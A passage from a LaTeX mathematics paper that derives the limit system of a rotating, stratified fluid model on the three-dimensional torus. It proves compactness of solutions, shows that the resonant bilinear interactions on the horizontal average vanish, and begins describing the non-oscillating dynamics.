\label{eq:limit_cQ2} \widetilde{ \mathcal{Q}}_2 \pare{V_1, V_2} &= \sum_{\substack{n\in\mathbb{Z}^3 \\ n_h\neq 0}} \sum_{\substack{\pare{0,k_3} + m=n\\ m_h, n_h \neq 0\\ \widetilde{\omega}^{b,c}_{m,n}=0\\b, c \in \set{0,\pm}\\j=1,2,3}} \psca{\widehat{\mathbb{P}}(n) \begin{pmatrix} n \\ 0 \end{pmatrix} \cdot \mathbb{S} \pare{V_1^j (0,k_3) \otimes V_2^b (m)} \Big| e_c(n)}_{\mathbb{C}^4}\; e^{i\check{n}\cdot x} \ e_c(n) \\
& \ + \sum_{\substack{n\in\mathbb{Z}^3 \\ n_h\neq 0}} \sum_{\substack{\pare{0,k_3} + m=n\\m_h, n_h \neq 0\\ \widetilde{\omega}^{b,c}_{m,n}=0\\b, c \in \set{0,\pm}\\j=1,2,3}} \psca{\widehat{\mathbb{P}}(n) \begin{pmatrix} n \\ 0 \end{pmatrix} \cdot \mathbb{S} \left( V_1^{b} (m) \otimes {V}_2^j (0,k_3)\right) \,\Big|\, e_c(n)}_{\mathbb{C}^4}\; e^{i\check{n}\cdot x} \ e_c(n), \notag
\end{align}
\begin{equation}
\label{eq:limit_cQuline} \underline{\mathcal{Q}} \pare{ V_1, V_2 } = \sum_{n_3\in\mathbb{Z}} \sum_{\substack{k+m=(0,n_3) \\ k_h, m_h \neq 0\\ \omega^a (k)+\omega^b (m)=0 \\ a,b \in \set{ 0,\pm}\\ j=1,2,3}} \psca{\widehat{\mathbb{P}}(0,n_3) \begin{pmatrix} 0 \\ 0 \\ \check{n}_3 \\ 0 \end{pmatrix} \cdot \mathbb{S} \pare{V_1^a (k) \otimes V_2^b (m)} \,\Big|\, f_j}_{\mathbb{C}^4}\; e^{i\check{n}_3 x_3} \ f_j,
\end{equation}
\begin{equation}
\label{eq:limit_At} \widetilde{\mathcal{A}^0_2} (D) W = \sum_{\substack{n\in\mathbb{Z}^3 \\ n_h\neq 0}} \sum_{\substack{\omega^{a,b}_n=0\\ a,b\in \set{0,\pm}}} \psca{\mathcal{F} \mathcal{A}_2 (n) \widetilde{W}^a (n) \,\big|\, e_b(n)}_{\mathbb{C}^4} e^{i\check{n}\cdot x} \ e_b(n),
\end{equation}
and
\begin{equation}
\label{eq:limit_Au} \underline{ \mathcal{A}^0_2} (D) W = \sum_{n_3\in\mathbb{Z}} \sum_{j=1,2,3} \ps{\mathcal{F} \mathcal{A}(0,n_3) W^j(0,n_3)}{f_j}_{\mathbb{C}^4} e^{i\check{n}_3 x_3} \ f_j.
\end{equation}
Using the same standard method of the non-stationary phases as in \cite{Gallagher_schochet}, \cite{grenierrotatingeriodic}, \cite{paicu_rotating_fluids} or \cite{Scrobo_primitive_horizontal_viscosity_periodic}, we can prove the following convergence result
\begin{lemma}
\label{le:lim_smooth}
Let $ V_1, V_2 $ and $ W $ be zero-average smooth vector fields. Then, we have the following convergence in the sense of distributions
\begin{align*}
\widetilde{\mathcal{Q}}_k^\varepsilon \left( V_1, V_2 \right) \xrightarrow{\varepsilon\to 0} & \ \widetilde{\mathcal{Q}}_k \left( V_1, V_2 \right), \qquad k=1,2 \\
\underline{\mathcal{Q}}^\varepsilon \left( V_1, V_2 \right) \xrightarrow{\varepsilon\to 0} & \ \underline{\mathcal{Q}} \left( V_1, V_2 \right), \\
\widetilde{\mathcal{A}^\varepsilon_2} (D) W \xrightarrow{\varepsilon\to 0} & \ \widetilde{\mathcal{A}^0_2} (D) W,\\
\underline{\mathcal{A}^\varepsilon_2} \left( D_3 \right) W \xrightarrow{\varepsilon\to 0} & \ \underline{\mathcal{A}^0_2} \left( D_3 \right) W.
\end{align*}
\end{lemma}
Let us now define the (limit) bilinear forms
\begin{equation}
\label{eq:cQ_cA}
\begin{aligned}
\mathcal{Q} \pare{V_1, V_2} & = \widetilde{\mathcal{Q}}_1 \pare{V_1, V_2} + \widetilde{\mathcal{Q}}_2 \pare{V_1, V_2} + \underline{\mathcal{Q}} \pare{V_1, V_2},\\
\mathcal{A}^0_2 (D) W & = \widetilde{\mathcal{A}^0_2} (D) W + \underline{\mathcal{A}^0_2} (D) W.
\end{aligned}
\end{equation}
Then, the limit dynamics of \eqref{PBSe} as $\varepsilon\to 0$ can be described as follows
\begin{prop}
\label{pr:compact_strong} Let $V_0 \in {{H}^s\left( \mathbb{T}^3 \right)}$, $s>5/2$ and $T\in \left[0,T^\star \right[$, where $T^\star > 0$ is defined in Theorem \ref{thm:local}. The sequence $\left( U^\varepsilon \right)_{\varepsilon>0}$ of local strong solutions of \eqref{eq:filt-sys}, which is uniformly bounded in $ \mathcal{C} \left( \left[0,T\right]; {{H}^s\left( \mathbb{T}^3 \right)} \right) $, is compact in the space $ \mathcal{C} \left( \left[0,T\right]; H^{\sigma} \left( \mathbb{T}^3 \right) \right) $ where $ \sigma\in \left( s-2, s \right) $. Moreover each limit point $U$ of $ \left( U^\varepsilon \right)_{\varepsilon>0}$ solves the following limit equation
\begin{equation}
\label{eq:limit_system}
\tag{{S}$_0 $}
\left\lbrace
\begin{aligned}
&\partial_t U + \mathcal{Q} \left( U, U \right) - \mathcal{A}^0_2 (D) U=0,\\
& \left. U \right|_{t=0}= V_0,
\end{aligned}
\right.
\end{equation}
\emph{a.e.} in $\mathbb{T}^3\times [0,T]$, where $\mathcal{Q}$ and $\mathcal{A}^0_2 (D)$ are given in \eqref{eq:cQ_cA}.
\end{prop}
\begin{proof}
The proof of the compactness of the sequence $ \left( U^\varepsilon \right)_{\varepsilon>0} $ is a standard argument. Thanks to Theorem \ref{thm:local} we know that $ \left( U^\varepsilon \right)_{\varepsilon>0} $ is uniformly bounded in $\mathcal{C} \left( \left[0,T\right]; {{H}^s\left( \mathbb{T}^3 \right)} \right)$. Since
\begin{equation*}
\left\| \mathcal{Q}^\varepsilon \left( U^\varepsilon, U^\varepsilon \right) \right\|_{H^{s-1}} \leqslant C \left\| U^\varepsilon \right\|_{H^s}^2,
\end{equation*}
and
\begin{equation*}
\left\| A^\varepsilon_2 (D) U^\varepsilon \right\|_{H^{s-2}} \leqslant C \left\| U^\varepsilon \right\|_{H^s},
\end{equation*}
we deduce that $\left( \partial_t U^\varepsilon \right)_{\varepsilon>0}$ is uniformly bounded in $\mathcal{C} \left( \left[0,T\right]; H^{s-2} \right)$. Remarking that
\begin{equation*}
\mathcal{C} \left( \left[0,T\right]; H^{s-2} \right) \hookrightarrow L^1 \left( \left[0,T\right]; H^{s-2} \right),
\end{equation*}
we can hence apply Aubin-Lions lemma \cite{Aubin63} to deduce the compactness of the sequence.
Finally, we need to prove that a limit point $U$ (weakly) solves the limit system \eqref{eq:limit_system}. We remark that Lemma \ref{le:lim_smooth} cannot be directly applied since the sequence $\left( U^\varepsilon \right)_{\varepsilon >0}$ is not sufficiently regular. However, by mollifying the data as in \cite{grenierrotatingeriodic}, \cite{schochet} or \cite{Scrobo_primitive_horizontal_viscosity_periodic}, we can deduce that $U$ solves \eqref{eq:limit_system} in $\mathcal{D}'\pare{\mathbb{T}^3\times [0, T]}$. We choose now $\overline{\sigma}\in \pare{\frac{5}{2}, s}$. Since $ U\in \mathcal{C}\pare{[0, T]; H^{\overline{\sigma}}}$, Sobolev embeddings imply that $U\in \mathcal{C}\pare{[0, T]; \mathcal{C}^{1, 1}}$, and so it solves the system \eqref{eq:limit_system} \emph{a.e.} in $\mathbb{T}^3\times [0,T]$
\end{proof}
\begin{rem}
A similar result to Proposition \ref{pr:compact_strong} was proved in \cite[Lemma 3.3]{Scrobo_Froude_periodic}. We underline though that the proof of \cite[Lemma 3.3]{Scrobo_Froude_periodic} cannot be adapted to the present setting since it strongly used the regularity induced by the uniform parabolic smoothing effects.
\end{rem}
\section{Explicit formulations of the limit system} \label{sec:decomposition_limit}
In this section, we determine the explicit formulation of the limit system \eqref{eq:limit_system}. More precisely, for each limit point $U$ of the sequence of solutions $\left( U^\varepsilon \right)_{\varepsilon>0}$ of \eqref{eq:filt-sys}, we decompose the bilinear term $\mathcal{Q}(U,U)$ and the linear term $\mathcal{A}_2^0(D)U$ by mean of the projections onto $\ker \mathbb{P}\mathcal{A}$ defined in Proposition \ref{prop:Projection} and onto its orthogonal $\pare{\ker \mathbb{P}\mathcal{A}}^\perp$. Such approach is generally used for hyperbolic symmetric systems with skew-symmetric perturbation in periodic domains, and we refer the reader to \cite{Gallagher_schochet}, \cite{Gallagher_singular_hyperbolic}, \cite{Gallagher_incompressible_limit}, \cite{paicu_rotating_fluids}, \cite{Scrobo_Froude_periodic} or \cite{Scrobo_primitive_horizontal_viscosity_periodic}, for instance, for some other related systems. Since the spectral properties of the operator $ \mathbb{P}\mathcal{A} $ are rather different in the Fourier frequency subspaces $\set{ n_h=0 }$ and $\set{ n_h \neq 0 }$, as in Section \ref{sec:filt-sys}, we write the limit system \eqref{eq:limit_system} as the superposition of the following systems
\begin{equation}
\label{eq:lim_syst_Uunderline}
\left\lbrace
\begin{aligned}
&\partial_t \underline{U} + \underline{\mathcal{Q}} \pare{\widetilde{U}, \widetilde{U}} - \underline{\mathcal{A}^0_2}\pare{D_3}\underline{U} =0,\\
&\underline{U}^3\equiv 0,\\
&\left. \underline{U}\right|_{t=0}=\underline{V_0},
\end{aligned}
\right.
\end{equation}
and
\begin{equation}
\label{eq:lim_syst_Utilde}
\left\lbrace
\begin{aligned}
&\partial_t \widetilde{U} + \widetilde{\mathcal{Q}}_1 \left( \widetilde{U}, \widetilde{U} \right) +\widetilde{\mathcal{Q}}_2 \left( U, U \right)- \widetilde{\mathcal{A}^0_2}(D)\widetilde{U}=0,\\
&\textnormal{div}\; \widetilde{U}=0,\\
&\left. \widetilde{U}\right|_{t=0}=\widetilde{V}_0,
\end{aligned}
\right.
\end{equation}
where the limit terms $\underline{\mathcal{Q}} \pare{\widetilde{U}, \widetilde{U}}$, $\underline{\mathcal{A}^0_2}\pare{D_3}\underline{U}$,
$\widetilde{\mathcal{Q}}_1 (\widetilde{U}, \widetilde{U})$, $\widetilde{\mathcal{Q}}_2 (\widetilde{U}, \widetilde{U})$ and $\widetilde{\mathcal{A}^0_2}(D)\widetilde{U}$ are defined as in Lemma \ref{le:lim_smooth}. In what follows, we will separately study the systems \eqref{eq:lim_syst_Uunderline} and \eqref{eq:lim_syst_Utilde}.
\subsection{The dynamics of $\underline{U}$}
We will prove the following result, which allows to simplify the system \eqref{eq:lim_syst_Uunderline}.
\begin{prop} \label{prop:limit_eq_Uunderline_local}
Let ${V_0}\in {{H}^s\left( \mathbb{T}^3 \right)}, s>5/2$, and $V_0 = \underline{V_0} + \widetilde{V_0}$ as in Lemma \ref{le:decomp_filtered_syst}. Then, the horizontal average $\underline{U}=\pare{\underline{u}^h, 0, \underline{U^4}}$ of the solution $U$ of the limit system \eqref{eq:limit_system} solves the homogeneous diffusion system \eqref{eq:Uunder_heat2D} a.e. in $ \left[0,T\right] \times \mathbb{T}^1_{\v} $ for each $T\in \left[0, T^\star \right[$.
\end{prop}
\noindent In order to prove Proposition \ref{prop:limit_eq_Uunderline_local}, we only need to prove the following lemma
\begin{lemma}
\label{lem:zero_limit_bilinear_hor_average}
The following identity holds true
\begin{equation*}
\underline{\mathcal{Q}} \pare{\widetilde{U}, \widetilde{U}}=0.
\end{equation*}
\end{lemma}
We recall that in Section \ref{sec:filt-sys}, we already introduce, for any vector field $V \in L^2_\sigma$,
\begin{equation*}
V^a (n) = \left(\left. \widehat{V} (n) \right| e_a(n) \right)_{\mathbb{C}^4} \ e_a (n), \qquad \forall\, a=0, \pm, \ \forall\, n=\pare{ n_h, n_3 } \in \mathbb{Z}^3, \ n_h\neq 0.
\end{equation*}
Here, we also denote
\begin{equation*}
\widehat{V}^a (n) = \left(\left. \widehat{V} (n) \right| e_a (n) \right)_{\mathbb{C}^4},
\end{equation*}
and $V^{a,l}$, $l=1,2,3,4$ the $l$-th component and respectively $V^{a,h}$ the first two components of the vector $V^a$. Using the definition of $\underline{\mathcal{Q}}$ and the particular form of the vector ${}^t(0,0,\check{n}_3,0)$ given in \eqref{eq:limit_cQuline}, we have
\begin{align*}
\mathcal{F} \pare{\underline{\mathcal{Q}} \left( U, U \right)}(0,n_3) & = \sum_{\substack{k+m=(0,n_3) \\ k_h, m_h \neq 0\\ \omega^a (k)+\omega^b(m)=0 \\ a, b =0, \pm \\ j=1, 2, 3}} \psca{\widehat{\mathbb{P}}(0,n_3) \, n_3 \, U^{a,3}(k) \, U^b (m) \,\Big\vert\, f_j}_{\mathbb{C}^4} f_j,\\
& = \sum_{a,b=0,\pm} \sum_{j=1}^3 \sum_{\mathcal{I}_{a,b} (n_3)} \psca{\widehat{\mathbb{P}}(0,n_3) \, n_3 \, U^{a, 3}(k) \, U^b(m) \,\Big\vert\, f_j}_{\mathbb{C}^4} f_j,
\end{align*}
where the set $\mathcal{I}_{a, b}(n_3)$ contains the following resonance frequencies
\begin{equation}
\label{eq:Iab} \mathcal{I}_{a,b} (n_3) = \set{ (k,m)\in \mathbb{Z}^6, \ k_h, m_h\neq 0 \; \left| \; k+m= \left( 0,n_3 \right), \; \omega^a (k) + \omega^b (m)=0\Big. \right.}.
\end{equation}
In order to prove Lemma \ref{lem:zero_limit_bilinear_hor_average}, we will show that, for each couple $\pare{ a, b }\in \set{ 0, \pm }^2$, the contribution
\begin{equation}
\label{eq:Jab} \mathcal{J}_{a,b}(n_3) = \sum_{\mathcal{I}_{a,b} (n_3)} \widehat{\mathbb{P}}(0,n_3) \, n_3 \, U^{a, 3}(k) \, U^b(m),
\end{equation}
is null, which implies that
\begin{equation}
\label{eq:Q_come_Jab}
\mathcal{F} \pare{\underline{\mathcal{Q}} \left( U, U \right)}(0,n_3) = \sum_{a,b=0,\pm} \sum_{j=1}^3 \psca{\mathcal{J}_{a,b}(n_3) \,\Big\vert\, f_j}_{\mathbb{C}^4} f_j=0.
\end{equation}
\bigskip
\noindent \underline{\textit{Case 1: $(a,b)=(0,0)$}}. We have
\begin{equation*}
\mathcal{J}_{0,0} (n_3)= \sum_{k+m = \left( 0,n_3 \right)} \widehat{\mathbb{P}}(0,n_3) \, n_3 \, U^{0,3}(k) \, U^{0}(m) = 0,
\end{equation*}
since $ U^{0,3}\equiv 0 $ (see \eqref{eq:eigenvectors} and \eqref{ev_nh=0}).
\bigskip
\noindent \underline{\textit{Case 2: $(a,b)=(\pm,0)$ or $(a,b)=(0,\pm)$}}. If $(a,b)=(\pm,0)$, then,
\begin{equation*}
\mathcal{J}_{\pm, 0} (n_3) = \sum_{\substack{ k+m = (0,n_3) \\ \omega^\pm (k)=0 }} \widehat{\mathbb{P}}(0,n_3) \, n_3 \, U^{\pm,3}(k) \, U^0(m).
\end{equation*}
The condition $ \omega^\pm (k)=0 $ implies that $ k_h \equiv 0 $, while the condition $ k+m = (0,n_3) $ implies that $ m_h \equiv 0 $. Then from \eqref{ev_nh=0}, we have $ U^{a, 3} (0,k_3)\equiv 0 $, which shows that $\mathcal{J}_{\pm, 0} (n_3)$ gives a null contribution in \eqref{eq:Q_come_Jab}. The same approach can be applied to the case $ \left( a, b \right)= \left( 0, \pm \right) $.
\bigskip
\noindent \underline{\textit{Case 3: $(a,b)=(+,+)$ or $(a,b) = (-,-)$}}. In this case, $\mathcal{J}_{a,b}(n_3)$ writes
\begin{equation*}
\mathcal{J}_{\pm, \pm} (n_3) = \sum_{\substack{ k+m = (0,n_3) \\ \omega^\pm (k) + \omega^\pm (m)=0 }} \widehat{\mathbb{P}}(0,n_3) \, n_3 \, U^{\pm,3}(k) \, U^\pm(m).
\end{equation*}
Since $k+m = (0,n_3)$, we can set $\left| \check{k}_h \right|= \left| \check{m}_h \right|=\lambda$. We deduce from the constraint $ \omega^\pm (k) + \omega^\pm (m)=0 $ and the explicit formulation of the eigenvalues \eqref{eq:eigenvalues} that
\begin{equation*}
\frac{\lambda}{\sqrt{\lambda^2 + \check{k}_3^2}} + \frac{\lambda}{\sqrt{\lambda^2 + \check{m}_3^2}}=0,
\end{equation*}
which implies that $ \lambda\equiv 0 $. Then the similar argument as in Cases 1 and 2 shows that $\mathcal{J}_{\pm, \pm} (n_3) = 0$.
\bigskip
\noindent \underline{\textit{Case 4: $(a,b)=(+,-)$ or $(a,b) = (-,+)$}}. This is the most delicate case to treat. We write
\begin{equation}
\label{eq:bil_contr_pm_mp}
\mathcal{J}_{\pm, \mp} (n_3)= \sum_{\substack{ k+m = (0,n_3) \\ \omega^\pm (k) = \omega^\pm (m) }} \widehat{\mathbb{P}}(0,n_3) \, n_3 \, U^{\pm,3}(k) \, U^{\mp}(m).
\end{equation}
The conditions $k+m = (0,n_3)$ and $\omega^\pm (k) = \omega^\pm (m)$ imply now that $k_h = -m_h$, $\left| \check{k}_h \right|= \left| \check{m}_h \right|=\lambda$ and
\begin{equation*}
\frac{\lambda}{\sqrt{\lambda^2 + \check{k}_3^2}} = \frac{\lambda}{\sqrt{\lambda^2 + \check{m}_3^2}}.
\end{equation*}
Then, it is obvious that $ m_3=\pm k_3 $.
If $ m_3=-k_3 $ then the convolution constraint $ k_3+m_3=n_3 $ in \eqref{eq:bil_contr_pm_mp} implies that $ n_3\equiv 0 $, and hence there is no contributions of $\mathcal{J}_{\pm, \mp} (n_3)$ in \eqref{eq:Q_come_Jab}. So, we concentrate on the case where $ k_h = -m_h $ and $ k_3=m_3= \frac{n_3}{2}$ and we will deal with the interaction will be of the form, for any $n_3 \in 2 \mathbb{Z}$,
\begin{equation*}
\mathcal{J}_{\pm, \mp} (n_3)= \sum_{m_h \in \mathbb{Z}^2} \widehat{\mathbb{P}}(0,n_3) \, n_3 \, U^{\pm,3} \pare{-m_h , \frac{n_3}{2}} \, {U}^{\mp} \pare{ m_h, \frac{n_3}{2} }.
\end{equation*}
For any $n_3 \in 2 \mathbb{Z}$, we set
\begin{align*}
B^{\pm, \mp}_{n_3} & = \sum_{m_h \in \mathbb{Z}^2} n_3 \, {U}^{\pm,3} \left( -m_h , \frac{n_3}{2} \right) \; {U}^{\mp, h} \left( m_h, \frac{n_3}{2} \right) , \\
C^{\pm, \mp}_{n_3} & = \sum_{m_h \in \mathbb{Z}^2} n_3 \, {U}^{\pm,3} \left( -m_h , \frac{n_3}{2} \right) \; {U}^{\mp, 4} \left( m_h, \frac{n_3}{2} \right).
\end{align*}
Taking into account the form of the vectors $f_j$ in \eqref{ev_nh=0}, we deduce that
\begin{equation*}
\sum_{j=1}^3 \psca{\mathcal{J}_{+,-} (n_3) +\mathcal{J}_{-,+} (n_3) \, \vert \, f_j}_{\mathbb{C}^4} f_j = \widehat{\mathbb{P}}(0,n_3)
\begin{pmatrix}
B^{+,-}_{n_3} + B^{-, +}_{n_3}\\
0\\
C^{+,-}_{n_3} + C^{-, +}_{n_3}
\end{pmatrix}.
\end{equation*}
Then, we can prove that the sum $\mathcal{J}_{+,-} (n_3) +\mathcal{J}_{-,+} (n_3)$ have no contribution in \eqref{eq:Q_come_Jab} and conclude Case 4 if we prove the following lemma
\begin{lemma}
\label{lem:BCpmmp} For any $n_3 \in 2 \mathbb{Z}$, we have the following identities
\begin{equation}
\label{eq:Bpmmp=0} B^{+,-}_{n_3} = -B^{-,+}_{n_3},
\end{equation}
and
\begin{equation}
\label{eq:Cpmmp=0} C^{+,-}_{n_3} = -C^{-,+}_{n_3}.
\end{equation}
\end{lemma}
\bigskip
\begin{proof}
Identity \eqref{eq:Cpmmp=0} is quite easy to prove. Indeed, we have
\begin{equation*}
C^{\pm, \mp}_{n_3} = \sum_{m_h\in\mathbb{Z}^2} n_3 \ e_\pm^3 \pare{ -m_h, \frac{n_3}{2} } \widehat{U}^{\pm} \pare{ -m_h, \frac{n_3}{2} } \widehat{U}^{\mp} \pare{-m_h, \frac{n_3}{2} } .
\end{equation*}
Then,
\begin{multline}
\label{eq:Cpm+Cmp}
C^{+,-}_{n_3} + C^{-,+}_{n_3}= \sum_{m_h\in \mathbb{Z}^2} \frac{n_3}{2} \left[ e_\pm^3 \pare{ -m_h, \frac{n_3}{2} } \widehat{U}^{\pm} \pare{ -m_h, \frac{n_3}{2} } \widehat{U}^{\mp} \pare{-m_h, \frac{n_3}{2}}\right.\\
+ \left. \ e_\mp^3 \pare{ m_h, \frac{n_3}{2} } \widehat{U}^{\mp} \pare{ m_h, \frac{n_3}{2} } \widehat{U}^{\pm} \pare{-m_h, \frac{n_3}{2}}\right].
\end{multline}
\noindent
The explicit expression of $e_\mp(n)$ in \eqref{eq:eigenvectors} yields
\begin{equation}
\label{eq:bof1} e_\pm^3 \pare{ -m_h, \frac{n_3}{2} } = - e_\mp^3 \pare{ m_h, \frac{n_3}{2} },
\end{equation}
which, combined with \eqref{eq:Cpm+Cmp}, implies \eqref{eq:Cpmmp=0}.
\medskip
To prove Identity \eqref{eq:Bpmmp=0}, we consider the quantities
\begin{multline}
\label{def_beta} \beta \left( m_h, n_3 \right) = \frac{n_3}{2} \left[ {U}^{+,3} \left( -m_h , \frac{n_3}{2} \right) \; {U}^{-, h} \left( m_h, \frac{n_3}{2} \right) + {U}^{-,3} \left( -m_h , \frac{n_3}{2} \right) \; {U}^{+, h} \left( m_h, \frac{n_3}{2} \right)\right.\\
+ \left. {U}^{+,3} \left( m_h , \frac{n_3}{2} \right) \; {U}^{-, h} \left( -m_h, \frac{n_3}{2} \right) + {U}^{-,3} \left( m_h , \frac{n_3}{2} \right) \; {U}^{+, h} \left( -m_h, \frac{n_3}{2} \right) \right],
\end{multline}
which allows to write
\begin{equation}
\label{Bpm} B^{+,-}_{n_3}+ B^{-,+}_{n_3} = \sum _{m_h \in \mathbb{Z}^2} \beta \left( m_h, n_3 \right).
\end{equation}
Now, we decompose
\begin{equation*}
\beta \left( m_h, n_3 \right)= \beta^+ \left( m_h, n_3 \right)+ \beta^- \left( m_h, n_3 \right),
\end{equation*}
where
\begin{align*}
\beta^+ \left( m_h, n_3 \right)= & \ \frac{n_3}{2} \left[ {U}^{+,3} \left( -m_h , \frac{n_3}{2} \right) \; {U}^{-, h} \left( m_h, \frac{n_3}{2} \right) + {U}^{-,3} \left( m_h , \frac{n_3}{2} \right) \; {U}^{+, h} \left( -m_h, \frac{n_3}{2} \right) \right],\\
\beta^- \left( m_h, n_3 \right)= & \ \frac{n_3}{2} \left[ {U}^{-,3} \left( -m_h , \frac{n_3}{2} \right) \; {U}^{+, h} \left( m_h, \frac{n_3}{2} \right) + {U}^{+,3} \left( m_h , \frac{n_3}{2} \right) \; {U}^{-, h} \left( -m_h, \frac{n_3}{2} \right) \right].
\end{align*}
By definition, we have
\begin{multline*}
{U}^{+,3} \left( -m_h , \frac{n_3}{2} \right) \; {U}^{-, h} \left( m_h, \frac{n_3}{2} \right) = \psca{\widehat{U} \left( -m_h, \frac{n_3}{2} \right) \,\Big\vert\, e_+ \left( -m_h, \frac{n_3}{2} \right) }_{\mathbb{C}^4} e_+^3 \left( -m_h, \frac{n_3}{2} \right)\\
\times \psca{\widehat{U} \left( m_h, \frac{n_3}{2} \right) \,\Big\vert\, e_- \left( m_h, \frac{n_3}{2} \right) }_{\mathbb{C}^4} e_-^h \left( m_h, \frac{n_3}{2} \right),
\end{multline*}
and
\begin{multline*}
{U}^{-,3} \left( m_h , \frac{n_3}{2} \right) \; {U}^{+, h} \left( -m_h, \frac{n_3}{2} \right) = \psca{ \widehat{U} \left( m_h, \frac{n_3}{2} \right) \,\Big\vert\, e_- \left( m_h, \frac{n_3}{2} \right) }_{\mathbb{C}^4} e_-^3 \left( m_h, \frac{n_3}{2} \right)\\
\times \psca{ \widehat{U} \left( -m_h, \frac{n_3}{2} \right) \,\Big\vert\, e_+ \left( -m_h, \frac{n_3}{2} \right) }_{\mathbb{C}^4} e_+^h \left( -m_h, \frac{n_3}{2} \right).
\end{multline*}
The explicit formula \eqref{eq:eigenvectors} implies
\begin{align*}
e_-^h \left( m_h, \frac{n_3}{2} \right) = & \ e_+^h \left( -m_h, \frac{n_3}{2} \right) = A^h_{m_h, n_3} ,\\
e_+^3 \left( -m_h, \frac{n_3}{2} \right) = & \ - e_-^3 \left( m_h, \frac{n_3}{2} \right) = A^3_{m_h, n_3} .
\end{align*}
Setting
\begin{equation*}
C_{m_h, n_3}= \psca{ \widehat{U} \left( -m_h, \frac{n_3}{2} \right) \,\Big\vert\, e_+ \left( -m_h, \frac{n_3}{2} \right) }_{\mathbb{C}^4} \ \psca{ \widehat{U} \left( m_h, \frac{n_3}{2} \right) \,\Big\vert\, e_- \left( m_h, \frac{n_3}{2} \right) }_{\mathbb{C}^4},
\end{equation*}
we obtain
\begin{align*}
{U}^{+,3} \left( -m_h , \frac{n_3}{2} \right) \; \widehat{U}^{-, h} \left( m_h, \frac{n_3}{2} \right) = & \ - C_{m_h, n_3} A^h_{m_h, n_3} A^3_{m_h, n_3},\\
{U}^{-,3} \left( m_h , \frac{n_3}{2} \right) \; \widehat{U}^{+, h} \left( -m_h, \frac{n_3}{2} \right) = & \ C_{m_h, n_3} A^h_{m_h, n_3} A^3_{m_h, n_3},
\end{align*}
which imply
\begin{equation*}
\beta^+ \left( m_h, n_3 \right) \equiv 0.
\end{equation*}
By the similar argument, we also get
\begin{equation*}
\beta^- \left( m_h, n_3 \right) \equiv 0,
\end{equation*}
which yields
\begin{equation*}
\beta \left( m_h, n_3 \right) \equiv 0.
\end{equation*}
Thus, Identity \eqref{Bpm} implies \eqref{eq:Bpmmp=0}
\end{proof}
\subsection{The dynamics of $ \widetilde{U} $}
In the previous paragraph, the dynamics of $\overline{U}$ is well understood and turns out to follow quite a simple heat equation. To complete the study of the limit system \eqref{eq:limit_system}, we now give an explicit expression of the system \eqref{eq:lim_syst_Utilde}. As in Lemma \ref{lem:DecompW} and Proposition \ref{prop:Projection} \eqref{KerPA2}, we will study the evolution of $ \widetilde{U} $ as the superposition of
\begin{equation*}
\widetilde{U}=\overline{U}+U_{\textnormal{osc}}.
\end{equation*}
The main technical difficulty of the study consists in giving a close formulation of the projection of the bilinear interactions, which was considered in \cite{Scrobo_Froude_periodic}. In what follows, we only mention the main steps of the study, without going into technical calculations.
\subsubsection{Derivation of the evolution of $ \overline{U} $}
We recall that $ \overline{U} $ is the projection of $ \widetilde{U} $ onto the nonoscillating subspace generated by $\set{E_0(n,\cdot)}_n$. The derivation of the evolution of $ \overline{U} $ can be done in three steps.
\bigskip
\noindent \underline{\textit{Step 1}}: We explicitly compute the projections of $ \widetilde{\mathcal{Q}}_1 \pare{\widetilde{U}, \widetilde{U}} $ and $ \widetilde{\mathcal{Q}}_2 \pare{U, U} $ onto $\text{Span}\set{E_0(n,\cdot)}$, \emph{i.e.}, for any $n\in\mathbb{Z}^3$, $n_h \neq 0$, we compute the following quantities
\begin{align*}
\overline{\widetilde{\mathcal{Q}}_1 \pare{\widetilde{U}, \widetilde{U}}} &= \sum_{\substack{n\in\mathbb{Z}^3 \\ n_h\neq 0}} \ps{ \mathcal{F} \widetilde{\mathcal{Q}}_1 \pare{\widetilde{U}, \widetilde{U}}(n)}{e_0(n)}_{\mathbb{C}^4} e^{i\check{n}\cdot x} \ e_0(n)\\
\overline{\widetilde{\mathcal{Q}}_2 \pare{U, U}} &= \sum_{\substack{n\in\mathbb{Z}^3 \\ n_h\neq 0}} \ps{ \mathcal{F} \widetilde{\mathcal{Q}}_2 \pare{U, U}(n)}{e_0(n)}_{\mathbb{C}^4} e^{i\check{n}\cdot x} \ e_0(n).
\end{align*}
The projection of $ \widetilde{\mathcal{Q}}_1 \left( \widetilde{U}, \widetilde{U} \right) $ is a mere horizontal transport interaction of elements in the kernel of $ \mathbb{P}\mathcal{A} $ as it is showed in the following lemma, the proof of which can be found in \cite[Lemma 4.2]{Scrobo_Froude_periodic}.
\begin{lemma} \label{lem:proj_tQ1_e0}
The following identity holds true
\begin{equation*}
\overline{\widetilde{\mathcal{Q}}_1 \pare{\widetilde{U}, \widetilde{U}}} = \begin{pmatrix} \overline{u}^h\cdot\nabla_h \overline{u}^h \\ 0\\ 0 \end{pmatrix} + \begin{pmatrix} \nabla_h \overline{p}_1 \\ 0\\ 0 \end{pmatrix},
\end{equation*}
where
\begin{align*}
\overline{u}^h & = \nabla_h^\perp \left( -\Delta_h \right)^{-1} \left( -\partial_2 U^1 + \partial_1 U^2 \right), \\
\overline{p}_1 & = \left( -\Delta_h \right)^{-1} \textnormal{div}_h\; \textnormal{div}_h\; \left( \overline{u}^h \otimes \overline{u}^h \right).
\end{align*}
\end{lemma}
For the projection of $ \widetilde{\mathcal{Q}}_2 \left( U, U \right) $, we remark that the matrix $\widehat{\mathbb{P}}(n)$ real and symmetric, so we can write
\begin{equation*}
\mathcal{F} \widetilde{\mathcal{Q}}_2 \left( U, U \right) (n) = \mathcal{F}\widetilde{\mathcal{Q}}_2 \left( \underline{U}, \widetilde{U} \right) (n) = 2 \sum_{\substack{\pare{0,k_3} + m=n\\ m_h, n_h \neq 0 \\ \widetilde{\omega}^{b,c}_{m,n}=0\\b, c =0, \pm\\j=1,2,3}} \psca{\widehat{\mathbb{P}}(n) \begin{pmatrix} \check{n} \\ 0 \end{pmatrix} \cdot \mathbb{S} \left( {U}^{j} (0,k_3) \otimes {U}^b (m)\right) \,\Big|\, e_c(n)}_{\mathbb{C}^4}\; e_c(n) ,
\end{equation*}
whence $ \widetilde{\mathcal{Q}}_2 $ in \eqref{eq:lim_syst_Utilde} acts as a non-local transport between the vectors $ \underline{U} $ and $ \widetilde{U} $. We have
\begin{lemma} \label{lem:proj_tQ2_e0}
Let $ U $ be as in Proposition \ref{pr:compact_strong}, and let $ \widetilde{\mathcal{Q}}_2 $ be defined as in \eqref{eq:limit_cQ2}. Then,
\begin{equation*}
